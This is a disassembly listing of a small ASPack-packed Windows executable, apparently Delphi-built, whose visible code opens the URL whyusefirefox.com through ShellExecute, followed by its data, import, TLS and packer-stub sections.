loc_40326E:				; CODE XREF: sub_403238+28j
		push	eax
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_40321C	; TlsSetValue

loc_40327A:				; CODE XREF: sub_403238+Aj
					; sub_403238+34j
		pop	ebx
		retn
sub_403238	endp


; =============== S U B	R O U T	I N E =======================================



sub_40327C	proc near		; CODE XREF: sub_402484+20p
					; sub_4024DC+3p ...
		mov	cl, ds:byte_40564C
		mov	eax, ds:TlsIndex
		test	cl, cl
		jnz	short loc_4032B1
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------

loc_403296:				; CODE XREF: sub_40327C+3Dj
		call	sub_403238
		mov	eax, ds:TlsIndex
		push	eax
		call	sub_403214	; TlsGetValue
		test	eax, eax
		jz	short loc_4032AB
		retn
; ---------------------------------------------------------------------------

loc_4032AB:				; CODE XREF: sub_40327C+2Cj
		mov	eax, ds:dword_405658
		retn
; ---------------------------------------------------------------------------

loc_4032B1:				; CODE XREF: sub_40327C+Dj
		push	eax
		call	sub_403214	; TlsGetValue
		test	eax, eax
		jz	short loc_403296
		retn
sub_40327C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4032BC	proc near		; CODE XREF: sub_4032C8+2Ep
		mov	eax, offset dword_404088
		call	sub_402FE8
		retn
sub_4032BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4032C8	proc near		; CODE XREF: CODE:0040349Fp
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_403204	; GetModuleHandleA
		mov	ds:dword_405650, eax
		mov	eax, ds:dword_405650
		mov	ds:dword_40408C, eax
		xor	eax, eax
		mov	ds:dword_404090, eax
		xor	eax, eax
		mov	ds:dword_404094, eax
		call	sub_4032BC
		mov	edx, offset dword_404088
		mov	eax, ebx
		call	sub_402CA4
		pop	ebx
		retn
sub_4032C8	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403331
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405654
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403338

loc_403330:				; CODE XREF: CODE:00403336j
		retn
; ---------------------------------------------------------------------------

loc_403331:				; DATA XREF: CODE:00403312o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_403330
; ---------------------------------------------------------------------------

loc_403338:				; CODE XREF: CODE:loc_403330j
					; DATA XREF: CODE:0040332Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_405654, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403369
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40565C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403370

loc_403368:				; CODE XREF: CODE:0040336Ej
		retn
; ---------------------------------------------------------------------------

loc_403369:				; DATA XREF: CODE:0040334Ao
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_403368
; ---------------------------------------------------------------------------

loc_403370:				; CODE XREF: CODE:loc_403368j
					; DATA XREF: CODE:00403363o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40565C, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4033A1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405660
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4033A8

loc_4033A0:				; CODE XREF: CODE:004033A6j
		retn
; ---------------------------------------------------------------------------

loc_4033A1:				; DATA XREF: CODE:00403382o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_4033A0
; ---------------------------------------------------------------------------

loc_4033A8:				; CODE XREF: CODE:loc_4033A0j
					; DATA XREF: CODE:0040339Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_405660, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_4033D9
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405664
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4033E0

loc_4033D8:				; CODE XREF: CODE:004033DEj
		retn
; ---------------------------------------------------------------------------

loc_4033D9:				; DATA XREF: CODE:004033BAo
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_4033D8
; ---------------------------------------------------------------------------

loc_4033E0:				; CODE XREF: CODE:loc_4033D8j
					; DATA XREF: CODE:004033D3o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_405664, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4033EC	proc near		; CODE XREF: CODE:004034B6p
		jmp	ds:dword_406100
sub_4033EC	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403419
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_405668
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403420

loc_403418:				; CODE XREF: CODE:0040341Ej
		retn
; ---------------------------------------------------------------------------

loc_403419:				; DATA XREF: CODE:004033FAo
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_403418
; ---------------------------------------------------------------------------

loc_403420:				; CODE XREF: CODE:loc_403418j
					; DATA XREF: CODE:00403413o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_405668, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40342C	proc near		; DATA XREF: CODE:00403490o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40344B
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403452

loc_40344A:				; CODE XREF: sub_40342C+24j
		retn
; ---------------------------------------------------------------------------

loc_40344B:				; DATA XREF: sub_40342C+6o
		jmp	loc_402988
; ---------------------------------------------------------------------------
		jmp	short loc_40344A
; ---------------------------------------------------------------------------

loc_403452:				; CODE XREF: sub_40342C:loc_40344Aj
					; DATA XREF: sub_40342C+19o
		pop	ebp
		retn
sub_40342C	endp

; ---------------------------------------------------------------------------
dword_403454	dd 7, 40345Ch, 40333Ch,	40330Ch, 403130h, 4030DCh, 403374h
					; DATA XREF: CODE:0040349Ao
					; BSS:off_405628o
		dd 403344h, 4033ACh, 40337Ch, 4033E4h, 4033B4h,	403424h
		dd 4033F4h, 0
		dd offset sub_40342C
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	eax, offset dword_403454
		call	sub_4032C8
		push	9
		push	0
		push	0
		push	offset aHttpWww_whyuse ; "http://www.whyusefirefox.com"
		push	offset aOpen	; "open"
		push	0
		call	sub_4033EC
		call	sub_402DFC
; ---------------------------------------------------------------------------
aHttpWww_whyuse	db 'http://www.whyusefirefox.com',0 ; DATA XREF: CODE:004034AAo
		align 10h
aOpen		db 'open',0             ; DATA XREF: CODE:004034AFo
		align 1000h
CODE		ends

; Section 2. (virtual address 00004000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00004000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
DATA		segment	para public 'DATA' use32
		assume cs:DATA
		;org 404000h
dword_404000	dd 0			; DATA XREF: sub_402CE4+Ar
					; sub_402D40+2w ...
dword_404004	dd 0			; DATA XREF: sub_402478w
					; sub_402CE4+37r ...
byte_404008	db 2			; DATA XREF: CODE:0040313Dw
		db 8Dh,	40h, 0
word_40400C	dw 1332h		; DATA XREF: sub_402690+6r
					; sub_402690:loc_402708r ...
		dw 0C08Bh
byte_404010	db 0			; DATA XREF: sub_40276Cr sub_402788r ...
		db 8Dh,	40h, 0
byte_404014	db 0			; DATA XREF: sub_402BE4-336r
					; sub_402BE4:loc_4028E9r
		db 8Dh,	40h, 0
byte_404018	db 0			; DATA XREF: sub_402D70:loc_402DD1r
		db 8Dh,	40h, 0
dword_40401C	dd 0			; DATA XREF: sub_402FE8r sub_402FE8+8w ...
dword_404020	dd 0			; DATA XREF: sub_402F8C+Cr
off_404024	dd offset sub_401E64	; DATA XREF: sub_402438+5r
off_404028	dd offset sub_401FF4	; DATA XREF: sub_402458+5r
		dd offset sub_402374
byte_404030	db 0			; DATA XREF: sub_402484+36r
aRsu		db '',0
aFxn@		db '@',0
aError		db 'Error',0            ; DATA XREF: sub_402D70+6Co
		dw 0C08Bh
aRuntimeErrorAt	db 'Runtime error     at 00000000',0 ; DATA XREF: sub_402CE4+3o
					; sub_402D70+32o ...
		dw 0C08Bh
byte_404074	db 30h			; DATA XREF: sub_402CE4+41r
		db 31h,	32h, 33h
		dd 37363534h, 42413938h, 46454443h
TlsIndex	dd 0			; DATA XREF: sub_403238+Cr
					; sub_403238+37r ...
dword_404088	dd 0			; DATA XREF: sub_4032BCo
					; sub_4032C8+33o ...
dword_40408C	dd 400000h		; DATA XREF: sub_4032C8+1Bw
dword_404090	dd 0			; DATA XREF: sub_4032C8+22w
dword_404094	dd 0			; DATA XREF: sub_4032C8+29w
		align 1000h
DATA		ends

; Section 3. (virtual address 00005000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00005000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
BSS		segment	para public 'DATA' use32
		assume cs:BSS
		;org 405000h
off_405000	dd offset sub_402F84	; DATA XREF: CODE:0040315Fw
dword_405004	dd 0			; DATA XREF: CODE:00402B76r
dword_405008	dd 0			; DATA XREF: sub_402484+9r
					; sub_402484+16r
dword_40500C	dd 0			; DATA XREF: sub_402BE4-363r
					; CODE:00402B54r
off_405010	dd offset sub_401008	; DATA XREF: sub_40276C+14r
					; sub_402788+16r ...
off_405014	dd offset sub_401010	; DATA XREF: sub_402BE4-2B6r
					; CODE:00402B3Cr ...
dword_405018	dd 0			; DATA XREF: sub_402DFC+A8r
					; sub_402DFC+B1r
dword_40501C	dd 400000h		; DATA XREF: sub_402CA4+29w
dword_405020	dd 0F8h			; DATA XREF: CODE:004031FDw
byte_405024	db 0			; DATA XREF: sub_402CA4+33w
		align 4
dword_405028	dd 0Ah			; DATA XREF: CODE:004031A6w
dword_40502C	dd 142340h		; DATA XREF: CODE:0040319Cw
dword_405030	dd 0			; DATA XREF: sub_402DFC+Eo
byte_405034	db 0			; DATA XREF: sub_402D70+1r
byte_405035	db 0			; DATA XREF: sub_401778+1Br
					; sub_401778:loc_40181Ar ...
byte_405036	db 2			; DATA XREF: CODE:00403158w
		align 4
dword_405038	dd 0			; DATA XREF: sub_40252C:loc_40256Bo
					; CODE:004030F5o
word_40503C	dw 0D7B0h		; DATA XREF: CODE:0040317Cw
		align 10h
		dd 71h dup(0)
dword_405204	dd 0			; DATA XREF: sub_402D70+1Eo
					; CODE:004030FFo
word_405208	dw 0D7B0h		; DATA XREF: sub_402D70+Ar
					; CODE:00403185w
		align 10h
dword_405210	dd 0			; DATA XREF: sub_402D70+15r
		align 10h
dword_405220	dd 0			; DATA XREF: sub_402D70+23r
		dd 6Bh dup(0)
dword_4053D0	dd 0			; DATA XREF: CODE:00403109o
word_4053D4	dw 0D7B0h		; DATA XREF: CODE:0040318Ew
		align 4
		dd 71h dup(0)
dword_40559C	dd 0			; DATA XREF: sub_4019E0w
					; sub_401D70+92w ...
dword_4055A0	dd 0			; DATA XREF: sub_4019E0+16w
					; sub_401D70+9Bw ...
dword_4055A4	dd 0			; DATA XREF: CODE:004030EDw
					; CODE:00403130w
dword_4055A8	dd 3			; DATA XREF: CODE:004031CCw
					; CODE:004031E2w ...
byte_4055AC	db 0			; DATA XREF: sub_401778+8Ew
					; sub_401778:loc_401835r ...
		align 10h
dword_4055B0	dd 0			; DATA XREF: sub_40136C+6Dw
					; sub_4014B8+63w ...
dword_4055B4	dd 6 dup(0)		; DATA XREF: sub_401778+11o
					; sub_401778+24o ...
dword_4055CC	dd 0			; DATA XREF: sub_4010EC:loc_40110Fr
					; sub_4010EC+2Aw ...
dword_4055D0	dd 0			; DATA XREF: sub_4010EC+2o
					; sub_401174+Ar ...
dword_4055D4	dd 0			; DATA XREF: sub_401290+3Eo
					; sub_4012F4+51o ...
		dd 3 dup(0)
dword_4055E4	dd 4 dup(0)		; DATA XREF: sub_401538+Bo
					; sub_4015C8+Eo ...
dword_4055F4	dd 0			; DATA XREF: sub_401778+7Fo
dword_4055F8	dd 0			; DATA XREF: sub_401D70:loc_401D80r
		align 10h
dword_405600	dd 0			; DATA XREF: sub_401778+89w
					; sub_40191C+1r ...
dword_405604	dd 0			; DATA XREF: sub_401C0Cr sub_401C0C+9r ...
dword_405608	dd 0			; DATA XREF: sub_401C0C+26r
					; sub_401C0C+2Er ...
dword_40560C	dd 0			; DATA XREF: sub_401778+58w
					; sub_401778+5Dr ...
dword_405610	dd 0			; DATA XREF: sub_401778+42o
					; sub_40183C+81o ...
		align 10h
dword_405620	dd 0			; DATA XREF: sub_402BE4+6o
					; sub_402D40+Do ...
dword_405624	dd 12FFB4h		; DATA XREF: sub_402B9C+17w
					; sub_402BBC+2r
off_405628	dd offset dword_403454	; DATA XREF: sub_402C44+6r
					; sub_402CA4+14w
dword_40562C	dd 0			; DATA XREF: sub_402C44+2Cw
					; sub_402CA4+1Bw
off_405630	dd offset dword_404088	; DATA XREF: sub_402CA4+20w
		dd 6 dup(0)
byte_40564C	db 0			; DATA XREF: sub_40327Cr
		align 10h
dword_405650	dd 400000h		; DATA XREF: sub_4032C8+11w
					; sub_4032C8+16r
dword_405654	dd 0			; DATA XREF: CODE:0040331Dw
					; CODE:0040333Cw
dword_405658	dd 0			; DATA XREF: sub_40327C:loc_4032ABr
dword_40565C	dd 0			; DATA XREF: CODE:00403355w
					; CODE:00403374w
dword_405660	dd 0			; DATA XREF: CODE:0040338Dw
					; CODE:004033ACw
dword_405664	dd 0			; DATA XREF: CODE:004033C5w
					; CODE:004033E4w
dword_405668	dd 0			; DATA XREF: CODE:00403405w
					; CODE:00403424w
		align 1000h
BSS		ends

; Section 4. (virtual address 00006000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00006000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata		segment	para public 'DATA' use32
		assume cs:_idata
		;org 406000h
		dd offset dword_4060CC
		dd 2 dup(0)
		dd offset dword_4060CC
		dd offset dword_4060CC
		dd offset dword_4060D8
		align 10h
		dd offset dword_4060D8
		dd offset dword_4060D8
		dd offset dword_4060E8
		dd 2 dup(0)
		dd offset dword_4060E8
		dd offset dword_4060E8
		dd offset dword_4060FC
		dd 2 dup(0)
		dd offset dword_4060FC
		dd offset dword_4060FC
		dd offset dword_406104
		dd 2 dup(0)
		dd offset dword_406104
		dd offset dword_406104
		dd 5 dup(0)
dword_406078	dd 77F53275h		; DATA XREF: sub_4010E4r
dword_40607C	dd 77F7E300h		; DATA XREF: sub_4010DCr
dword_406080	dd 77F7E21Fh		; DATA XREF: sub_4010D4r
dword_406084	dd 77E79908h		; DATA XREF: sub_4010CCr
dword_406088	dd 77E79E34h		; DATA XREF: sub_4010C4r
dword_40608C	dd 77E7980Ah		; DATA XREF: sub_4010BCr
dword_406090	dd 77E79A45h		; DATA XREF: sub_4010B4r
dword_406094	dd 77E79881h		; DATA XREF: sub_4010ACr
dword_406098	dd 77E7C486h		; DATA XREF: sub_401080r
dword_40609C	dd 77E77CC4h		; DATA XREF: sub_401078r
dword_4060A0	dd 77E77F21h		; DATA XREF: sub_401058r
dword_4060A4	dd 77E6177Ah		; DATA XREF: sub_401050r
dword_4060A8	dd 77E7513Ch		; DATA XREF: sub_401048r
dword_4060AC	dd 77E7C938h		; DATA XREF: sub_401040r
dword_4060B0	dd 77E80618h		; DATA XREF: sub_401038r
dword_4060B4	dd 77E75CB5h		; DATA XREF: sub_401028r
dword_4060B8	dd 77E79D8Ch		; DATA XREF: sub_401020r
dword_4060BC	dd 77EB9A84h		; DATA XREF: sub_401018r
dword_4060C0	dd 77F6183Eh		; DATA XREF: sub_401010r
dword_4060C4	dd 77E6D706h		; DATA XREF: sub_401008r
dword_4060C8	dd 77E79C3Dh		; DATA XREF: sub_401000r
dword_4060CC	dd 0			; DATA XREF: .idata:00406000o
					; .idata:0040600Co ...
dword_4060D0	dd 77D6E1D6h		; DATA XREF: sub_402658r
dword_4060D4	dd 77D6ADD7h		; DATA XREF: sub_401030r
dword_4060D8	dd 0			; DATA XREF: .idata:00406014o
					; .idata:00406020o ...
dword_4060DC	dd 77DD23D7h		; DATA XREF: sub_401070r
dword_4060E0	dd 77DD22EAh		; DATA XREF: sub_401068r
dword_4060E4	dd 77DD189Ah		; DATA XREF: sub_401060r
dword_4060E8	dd 0			; DATA XREF: .idata:00406028o
					; .idata:00406034o ...
dword_4060EC	dd 77E79B39h		; DATA XREF: sub_40321Cr
dword_4060F0	dd 77E78B61h		; DATA XREF: sub_403214r
dword_4060F4	dd 77E79881h		; DATA XREF: sub_40320Cr
dword_4060F8	dd 77E79F93h		; DATA XREF: sub_403204r
dword_4060FC	dd 0			; DATA XREF: .idata:0040603Co
					; .idata:00406048o ...
dword_406100	dd 77428B97h		; DATA XREF: sub_4033ECr
dword_406104	dd 0			; DATA XREF: .idata:00406050o
					; .idata:0040605Co ...
aKernel32_dll	db 'kernel32.dll',0
		align 4
aDeletecritical	db 'DeleteCriticalSection',0
		align 10h
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aEntercriticals	db 'EnterCriticalSection',0
		align 10h
aInitializecrit	db 'InitializeCriticalSection',0
		align 4
aVirtualfree	db 'VirtualFree',0
		dd 69560000h, 61757472h, 6C6C416Ch, 636Fh, 6F4C0000h, 466C6163h
		dd 656572h, 6F4C0000h, 416C6163h, 636F6C6Ch, 0
aGetversion	db 'GetVersion',0
		align 10h
		dd 65470000h, 72754374h, 746E6572h, 65726854h, 64496461h
		dd 0
aGetthreadlocal	db 'GetThreadLocale',0
		dd 65470000h, 61745374h, 70757472h, 6F666E49h, 41h, 4C746547h
		dd 6C61636Fh, 666E4965h, 416Fh,	65470000h, 6D6F4374h, 646E616Dh
		dd 656E694Ch, 41h, 65657246h, 7262694Ch, 797261h, 78450000h
		dd 72507469h, 7365636Fh, 73h, 74697257h, 6C694665h, 65h
		dd 61686E55h, 656C646Eh, 63784564h, 69747065h, 69466E6Fh
		dd 7265746Ch, 0
aRtlunwind	db 'RtlUnwind',0
		align 10h
aRaiseexception	db 'RaiseException',0
		align 10h
		dd 65470000h, 64745374h, 646E6148h, 656Ch, 72657375h, 642E3233h
		dd 6C6Ch, 65470000h, 79654B74h,	72616F62h, 70795464h, 65h
		dd 7373654Dh, 42656761h, 41786Fh, 61766461h, 32336970h
		dd 6C6C642Eh, 0
aRegqueryvaluee	db 'RegQueryValueExA',0
		align 10h
aRegopenkeyexa	db 'RegOpenKeyExA',0
		align 10h
aRegclosekey	db 'RegCloseKey',0
aKernel32_dll_0	db 'kernel32.dll',0
		align 4
aTlssetvalue	db 'TlsSetValue',0
		dd 6C540000h, 74654773h, 756C6156h, 65h, 61636F4Ch, 6C6C416Ch
		dd 636Fh, 65470000h, 646F4D74h,	48656C75h, 6C646E61h, 4165h
		dd 6C656873h, 2E32336Ch, 6C6C64h, 68530000h, 456C6C65h
		dd 75636578h, 416574h, 327h dup(0)
_idata		ends

; Section 5. (virtual address 00007000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00007000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_tls		segment	para public 'DATA' use32
		assume cs:_tls
		;org 407000h
TlsStart	dd 2 dup(0)		; DATA XREF: .rdata:00408000o
					; .aspack:TlsDirectoryo
TlsEnd		dd 3FEh	dup(0)		; DATA XREF: .rdata:00408004o
					; .aspack:TlsEnd_ptro
_tls		ends

; Section 6. (virtual address 00008000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00008000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 408000h
		dd offset TlsStart
		dd offset TlsEnd
		dd offset TlsIndex
		dd offset TlsCallbacks
TlsCallbacks	dd 0			; DATA XREF: .rdata:0040800Co
					; .aspack:TlsCallbacks_ptro
		align 1000h
_rdata		ends

; Section 9. (virtual address 0000B000)
; Virtual size			: 00002000 (   8192.)
; Section size in file		: 00002000 (   8192.)
; Offset to raw	data for section: 0000B000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_aspack		segment	para public 'DATA' use32
		assume cs:_aspack
		;org 40B000h
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

		public start

start		proc near
		pusha
		call	near ptr loc_40B007+3

loc_40B007:				; CODE XREF: start+1p
		jmp	near ptr 459DB4F7h
start		endp

; ---------------------------------------------------------------------------
		dd 1E8C355h, 0EB000000h, 0FFEDBB5Dh, 0DD03FFFFh, 0B000EB81h
		dd 0BD830000h, 422h, 229D8900h,	0F000004h, 36585h, 2E858D00h
		dd 50000004h, 0F4D95FFh, 85890000h, 426h, 5D8DF88Bh, 0FF50535Eh
		dd 0F4995h, 4D858900h, 8D000005h, 57536B5Dh, 0F4995FFh
		dd 85890000h, 551h, 0FF77458Dh,	726956E0h, 6C617574h, 6F6C6C41h
		dd 69560063h, 61757472h, 6572466Ch, 9D8B0065h, 531h, 0A74DB0Bh
		dd 8587038Bh, 535h, 0B58D0389h,	569h, 0F003E83h, 12184h
		dd 68046A00h, 1000h, 180068h, 0FF006A00h, 54D95h, 56858900h
		dd 8B000001h, 0E050446h, 6A000001h, 10006804h, 6A500000h
		dd 4D95FF00h, 89000005h, 15285h, 1E8B5600h, 4229D03h, 0B5FF0000h
		dd 156h, 500476FFh, 56EE853h, 1B30000h,	7500FB80h, 0EC85FE5Eh
		dd 8B000000h, 22BD033Eh, 0FF000004h, 0C307C637h, 78FD7FFh
		dd 53565150h, 0E983C88Bh, 52B58B06h, 33000001h,	74C90BDBh
		dd 0AC2C782Eh, 0A74E83Ch, 0E93C00EBh, 49430474h, 68BEBEBh
		dd 3E8000EBh, 24F37500h, 18C0C100h, 689C32Bh, 8305C383h
		dd 0E98304C6h, 5BCEEB05h, 0EB58595Eh, 87000008h, 85000000h
		dd 8BC88B00h, 22BD033Eh, 8B000004h, 152B5h, 2F9C100h, 0C88BA5F3h
		dd 0F303E183h, 685EA4h,	6A000080h, 52B5FF00h, 0FF000001h
		dd 55195h, 8C68300h, 0F003E83h,	0FFFF1E85h, 800068FFh
		dd 6A0000h, 156B5FFh, 95FF0000h, 551h, 5319D8Bh, 0DB0B0000h
		dd 38B0874h, 5358587h, 958B0000h, 422h,	52D858Bh, 0D02B0000h
		dd 0C28B7974h, 3310E8C1h, 39B58BDBh, 3000005h, 422B5h
		dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 422BD03h, 0C6830000h
		dd 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h, 3FB8316h
		dd 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh
		dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh
		dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h
		dd 42295h, 41B58B00h, 0B000005h, 31174F6h, 0C00BADF2h
		dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 6000BEh,	22958B00h
		dd 3000004h, 0C468BF2h,	840FC085h, 10Ah, 0D88BC203h, 4D95FF50h
		dd 8500000Fh, 530775C0h, 0F5195FFh, 85890000h, 545h, 54985C7h
		dd 0
		dd 958B0000h, 422h, 0C085068Bh,	468B0375h, 3C20310h, 54985h
		dd 8B188B00h, 0FA03107Eh, 549BD03h, 0DB850000h,	0A2840Fh
		dd 0C3F70000h, 80000000h, 0DA030475h, 81534343h, 0FFFFFFE3h
		dd 0B5FF537Fh, 545h, 0F4995FFh,	0C0850000h, 0F76F755Bh
		dd 0C3h, 57197580h, 30C468Bh, 42285h, 8D535000h, 47585h
		dd 0E9575000h, 98h, 0FFFFE381h,	858B7FFFh, 426h, 5458539h
		dd 24750000h, 4AD38B57h, 8B02E2C1h, 5459Dh, 3C7B8B00h
		dd 783B7C8Bh, 1C3B5C03h, 313048Bh, 54585h, 16EB5F00h, 0C468B57h
		dd 4228503h, 53500000h,	4C6858Dh, 57500000h, 7894AEBh
		dd 5498583h, 0E9040000h, 0FFFFFF32h, 46890689h,	1046890Ch
		dd 8B14C683h, 42295h, 0FEEBE900h, 94B8FFFFh, 50000034h
		dd 4228503h, 0B590000h,	0A88589C9h, 61000003h, 1B80875h
		dd 0C2000000h, 9468000Ch, 0C3004034h, 426858Bh,	8D8D0000h
		dd 43Bh, 95FF5051h, 0F49h, 5558589h, 858D0000h,	447h, 5195FF50h
		dd 8900000Fh, 42A85h, 528D8D00h, 51000004h, 4995FF50h
		dd 8900000Fh, 55985h, 2A858B00h, 8D000004h, 45E8Dh, 0FF505100h
		dd 0F4995h, 83D0FF00h, 6A5F10C4h, 689D8D30h, 53000004h
		dd 0FF006A57h, 55995h, 0FFFF6A00h, 55595h, 40000000h, 0E6000000h
		dd 77h,	72656B00h, 336C656Eh, 6C642E32h, 7845006Ch, 72507469h
		dd 7365636Fh, 73750073h, 32337265h, 6C6C642Eh, 73654D00h
		dd 65676173h, 41786F42h, 70737700h, 746E6972h, 4C004166h
		dd 4544414Fh, 52452052h, 524F52h, 20656854h, 636F7270h
		dd 72756465h, 6E652065h, 20797274h, 6E696F70h, 73252074h
		dd 756F6320h, 6E20646Ch, 6220746Fh, 6F6C2065h, 65746163h
		dd 6E692064h, 65687420h, 6E796420h, 63696D61h, 6E696C20h
		dd 696C206Bh, 72617262h, 73252079h, 65685400h, 64726F20h
		dd 6C616E69h, 20752520h, 6C756F63h, 6F6E2064h, 65622074h
		dd 636F6C20h, 64657461h, 206E6920h, 20656874h, 616E7964h
		dd 2063696Dh, 6B6E696Ch, 62696C20h, 79726172h, 732520h
		dd 248EBA52h, 0AAC9C3Bh, 321474C0h, 0D108B0D0h,	810673EAh
		dd 0A7F39AF2h, 75C8FEC1h, 92E7EBF2h, 0DB87C35Ah, 400000h
		dd 404084h, 0FFFFFFFFh,	9000h, 2 dup(0)
		dd 773D0000h, 4, 77E7980Ah, 77E79E34h, 5 dup(0)
		dd 1000h, 2600h, 4000h,	200h, 6000h, 400h, 0A0B0h, 150h
		dd 34h dup(0)
		dd 1024448Bh, 354EC81h,	4C8D0000h, 0E8500424h, 3A8h, 5C248C8Bh
		dd 8B000003h, 3582494h,	52510000h, 0C244C8Dh, 40DE8h, 75C08400h
		dd 0FFC8830Ah, 354C481h, 8BC30000h, 360248Ch, 48D0000h
		dd 8D515024h, 0E80C244Ch, 5E8h,	0A75C084h, 81FFC883h, 354C4h
		dd 48BC300h, 54C48124h,	0C2000003h, 1000010h, 5040302h
		dd 0A080706h, 14100E0Ch, 28201C18h, 50403830h, 0A0807060h
		dd 0E0C0h, 0
		dd 1010000h, 2020101h, 3030202h, 4040303h, 5050404h, 505h
		dd 1010000h, 3030202h, 5050404h, 7070606h, 9090808h, 0B0B0A0Ah
		dd 0D0D0C0Ch, 0F0F0E0Eh, 11111010h, 3 dup(11111111h), 2	dup(12121212h)
		dd 56D18B51h, 8B9h, 4A395700h, 53357204h, 0FFFFF8BEh, 8A028BFFh
		dd 5C884018h, 2890C24h,	8B08428Bh, 0C10C247Ch, 0E78108E0h
		dd 0FFh, 7A8BC70Bh, 89FE0304h, 0C78B0842h, 3B047A89h, 5BD273C1h
		dd 8B04728Bh, 7C8B0842h, 0CE2B1024h, 18B9E8D3h,	2B000000h
		dd 0FFFF25CFh, 0E8D300FFh, 895FF703h, 595E0472h, 8B0004C2h
		dd 8B042444h, 89082454h, 8481h,	88918900h, 8D000000h, 81898204h
		dd 8Ch,	10005h,	8C200h,	98EC81h, 55530000h, 57D18B56h
		dd 0FB9h, 84AA8B00h, 33000000h,	247C8DC0h, 0F3F6332Ch
		dd 24BC8BABh, 0ACh, 5489EE3Bh, 15762024h, 0C8AC933h, 8C5C8B38h
		dd 8C4C8D28h, 3B404328h, 721989C5h, 17B9EBh, 74890000h
		dd 72892824h, 44728904h, 68247489h, 7489FF33h, 44C71C24h
		dd 11024h, 4C890000h, 6A8D1824h, 24748908h, 34448B14h
		dd 3E0D32Ch, 0FF81F8h, 89010000h, 0F24247Ch, 8E87h, 34448B00h
